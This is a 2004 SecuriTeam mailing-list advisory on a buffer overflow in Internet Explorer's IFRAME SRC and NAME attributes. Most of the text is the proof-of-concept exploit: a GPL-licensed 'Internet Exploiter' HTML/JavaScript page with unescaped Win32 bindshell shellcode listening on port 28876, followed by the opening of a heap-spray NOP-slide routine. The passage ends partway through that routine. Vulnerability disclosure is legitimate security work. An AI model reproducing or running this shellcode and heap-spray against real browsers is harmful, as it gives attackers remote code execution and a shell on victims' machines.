

Securiteam: [EXPL] Internet Explorer FRAME SRC and NAME Property Buffer Overflow (PoC)

[EXPL] Internet Explorer FRAME SRC and NAME Property Buffer Overflow (PoC)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0013.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/02/04

To: list@securiteam.com

Date: 2 Nov 2004 17:34:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.secureteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.secureteam.com/maillinglist.html>

Internet Explorer FRAME SRC and NAME Property Buffer Overflow (PoC)

SUMMARY

An exploitable buffer overflow has been found in Internet Explorer allowing a remote attacker to cause it to execute arbitrary code by overflowing the parameters provided by the IFRAME HTML tag. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

```
<HTML><!--
```

,sSSs, Ss, Internet Exploiter v0.1 – SECU –

<http://www.edup.tudelft.nl/~bjwever/InternetExploiter.zip>

SS" `YS' *Ss. MSIE <IFRAME src=... name="..."> BoF PoC exploit

iS' ,SS" Copyright (C) 2003, 2004 by Berend-Jan Wever.

YS, .ss ,sY" <http://www.edup.tudelft.nl/~bjwever>

`"YSSP" sSS <skylined@edup.tudelft.nl>

Securiteam: [EXPL] Internet Explorer FRAME SRC and NAME Property Buffer Overflow (PoC)

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2, 1991 as published by the Free Software Foundation.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

A copy of the GNU General Public License can be found at:

<http://www.gnu.org/licenses/gpl.html>

or you can write to:

Free Software Foundation, Inc.
59 Temple Place – Suite 330
Boston, MA 02111–1307
USA.

—>

```
<SCRIPT language="javascript">
```

```
// Win32 MSIE exploit helper script, creates a lot of nopslices to land in
```

```
// and/or use as return address. Thanks to blazde for feedback and idears.
```

```
// Win32 bindshell (port 28876, '\0' free, looping). Thanks to HDM and // others for inspiration and borrowed code.
```

```
shellcode =
```

```
unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
```

```
// Nopslide will contain these bytes:
```

```
bigblock = unescape("%u0D0D%u0D0D");
```

```
// Heap blocks in IE have 20 dwords as header
```

```
headersize = 20;
```

```
// This is all very 1337 code to create a nopslide that will fit exactly
```

```
// between the the header and the shellcode in the heap blocks we
```


